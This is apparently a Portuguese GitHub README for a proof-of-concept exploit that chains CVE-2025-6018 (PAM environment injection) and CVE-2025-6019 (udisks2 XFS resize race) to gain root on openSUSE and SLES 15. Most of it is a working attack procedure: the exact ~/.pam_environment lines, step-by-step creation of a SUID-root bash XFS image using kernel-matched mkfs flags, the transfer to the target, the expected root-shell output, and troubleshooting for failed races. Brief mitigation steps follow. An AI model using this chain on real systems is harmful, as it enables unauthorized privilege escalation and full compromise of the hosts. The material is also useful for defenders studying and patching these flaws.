CVE-2025-6018 CVE-2025-6019 Exploit de PoC

Escalação Local de Privilégios (LPE) - openSUSE / SUSE Linux Enterprise 15

PoC/Exploit funcional para CVE-2025-6018 e CVE-2025-6019 - Escalação de privilégios de usuário não privilegiado para root no openSUSE Leap 15.x e SUSE Linux Enterprise 15.x

🎯 Resumo Rápido

CVE ID	Vulnerabilidade	Impacto
CVE-2025-6018	Injeção de Variáveis de Ambiente no PAM	Bypass para o status `allow_active` do polkit
CVE-2025-6019	Condição de Corrida no Redimensionamento XFS do udisks2/libblockdev

Cadeia de Ataque

Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Demonstração de Prova de Conceito

# Check vulnerability
./exploit.sh --check

# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup

# Reconnect SSH, then: su - $USER

# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Instalação

git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Sistemas Afetados

✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Nota: o openSUSE Leap 15.6 atinge o fim da vida útil em 30 de abril de 2026. Após essa data, nenhum patch de segurança será lançado. Os usuários devem migrar para o Leap 16.0 ou para o SLES com suporte estendido.

Componentes Vulneráveis

PAM (Linux-PAM 1.3.0 - 1.6.0) com user_readenv=1
udisks2 2.9.x com libblockdev
polkit com allow_active: yes para ações do udisks2

📖 Uso

Opção 1: Verificar Vulnerabilidade

./exploit.sh --check

Opção 2: Configurar o Bypass do PAM (CVE-2025-6018)

./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER

Opção 3: Explorar (CVE-2025-6019)

./exploit.sh --exploit /tmp/xfs.img

Opção 4: Modo Automático Completo

./exploit.sh --auto /tmp/xfs.img

Opção 5: Exibir Instruções de Criação de Imagem

./exploit.sh --create-image

🛠️ Criando a Imagem de Payload XFS

Execute na máquina ATACANTE como root:

⚠️ Você DEVE usar o binário /usr/bin/bash da vítima, não o seu local. Um binário bash de uma distribuição diferente (Kali, Arch, Ubuntu, etc.) falhará no alvo devido à incompatibilidade de ABI do glibc/bibliotecas compartilhadas — mesmo na mesma arquitetura x86_64.

Usando o script auxiliar (recomendado)

O script detecta automaticamente a sua versão do xfsprogs e aplica as flags corretas:

# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash

# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Criação manual

sudo su -

# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash

# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUST show: -rwsr-xr-x

# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/

Compatibilidade do formato XFS

A imagem XFS deve ser formatada com flags compatíveis com o kernel do alvo. Versões mais novas do xfsprogs habilitam por padrão recursos no disco (on-disk) que kernels SUSE mais antigos não conseguem ler, causando erros de wrong fs type, bad superblock durante a montagem de redimensionamento do udisks2.

Alvo	Kernel	comando mkfs.xfs
SUSE 15 SP5-SP6	5.14 / 6.4	`mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img`
SUSE 15 SP1-SP4	4.12 - 5.3	`mkfs.xfs -f -m crc=0,reflink=0 xfs.img`

Por quê? Os recursos exchange e parent são do kernel 6.10+ (ativados por padrão no xfsprogs 6.x). Os recursos bigtime, inobtcount e nrext64 são do kernel 5.10+. O comando "compat" para SP1-SP4 (-m crc=0,reflink=0) cria um formato XFS V4 com todos os recursos modernos desabilitados, que funciona em todos os SUSE 15 SP.

🔬 Detalhes Técnicos

CVE-2025-6018: Injeção de Variáveis de Ambiente no PAM

Vulnerabilidade: o módulo pam_env do PAM lê ~/.pam_environment com user_readenv=1 (padrão no SUSE), permitindo a injeção de variáveis de ambiente.

Exploit: defina XDG_SEAT=seat0 e XDG_VTNR=1 para enganar o systemd-logind e conceder privilégios allow_active do polkit.

# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: Condição de Corrida no Redimensionamento do XFS

Vulnerabilidade: ao redimensionar o sistema de arquivos XFS via udisks2, o libblockdev monta temporariamente o sistema de arquivos sem a flag nosuid.

Exploit:

Crie uma imagem XFS com binário SUID root
Configure o dispositivo de loop
Acione o redimensionamento via D-Bus
Corra para executar o binário SUID durante a montagem temporária
Obtenha um shell root

📋 Passo a Passo Completo da Exploração

Passo 1: Verificar Vulnerabilidade

./exploit.sh --check

Saída:

[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Passo 2: Configurar o Bypass do PAM

./exploit.sh --setup
exit
ssh user@target
su - $USER

Passo 3: Verificar o allow_active

./exploit.sh --check

Saída:

[+] allow_active status: YES
    You have allow_active privileges!

Passo 4: Transferir a Imagem XFS

# On attacker:
scp xfs.img user@target:/tmp/

Passo 5: Explorar

./exploit.sh --exploit /tmp/xfs.img

Saída:

[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Solução de Problemas

🛡️ Mitigação

Correção Imediata

# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth

# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"

Patches dos Fornecedores

Atualize os pacotes PAM, udisks2 e libblockdev
Verifique os avisos de segurança do SUSE

📚 Referências

🏆 Créditos

Qualys Threat Research Unit - Descoberta original da vulnerabilidade
DesertDemons - Desenvolvimento do exploit de PoC
Jazzruran - Relatório e correção do bug de incompatibilidade de versão do xfsprogs (#1)

⚠️ Aviso Legal

Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido.

📄 Licença

MIT License

🔍 Palavras-chave

CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev

⭐ Dê uma estrela neste repositório se ele ajudou você! ⭐

`allow_active: NO`	Bypass do PAM não ativo	Execute `--setup`, saia do SSH, reconecte e execute `su - $USER`
`Image is not XFS`	Formato de sistema de arquivos incorreto	Use `mkfs.xfs`, não `mkfs.ext4`
`SUID not working`	Permissões não definidas	Verifique as permissões `-rwsr-xr-x` na máquina do atacante
`Race condition missed`	Problema de timing	Execute o exploit novamente (geralmente funciona em 1-3 tentativas)
Binário SUID com segfault ou `GLIBC_x.xx not found`	Binário bash de distribuição errada (incompatibilidade glibc/ABI)	Use o binário `/usr/bin/bash` da vítima via `scp`, não o seu bash local
`Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error`	Imagem XFS formatada com recursos que o kernel do alvo não consegue ler (incompatibilidade de versão do xfsprogs)	Crie a imagem com `mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img` para SP5/SP6, ou `mkfs.xfs -f -m crc=0,reflink=0 xfs.img` para SP1-SP4

Mais Populares

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 Exploit de PoC

Escalação Local de Privilégios (LPE) - openSUSE / SUSE Linux Enterprise 15

🎯 Resumo Rápido

Cadeia de Ataque

🔥 Demonstração de Prova de Conceito

📥 Instalação

🎯 Sistemas Afetados

Componentes Vulneráveis

📖 Uso

Opção 1: Verificar Vulnerabilidade

Opção 2: Configurar o Bypass do PAM (CVE-2025-6018)

Opção 3: Explorar (CVE-2025-6019)

Opção 4: Modo Automático Completo

Opção 5: Exibir Instruções de Criação de Imagem

🛠️ Criando a Imagem de Payload XFS

Usando o script auxiliar (recomendado)

Criação manual

Compatibilidade do formato XFS

🔬 Detalhes Técnicos

CVE-2025-6018: Injeção de Variáveis de Ambiente no PAM

CVE-2025-6019: Condição de Corrida no Redimensionamento do XFS

📋 Passo a Passo Completo da Exploração

Passo 1: Verificar Vulnerabilidade

Passo 2: Configurar o Bypass do PAM

Passo 3: Verificar o allow_active

Passo 4: Transferir a Imagem XFS

Passo 5: Explorar

🔧 Solução de Problemas

🛡️ Mitigação

Correção Imediata

Patches dos Fornecedores

📚 Referências

🏆 Créditos

⚠️ Aviso Legal

📄 Licença

🔍 Palavras-chave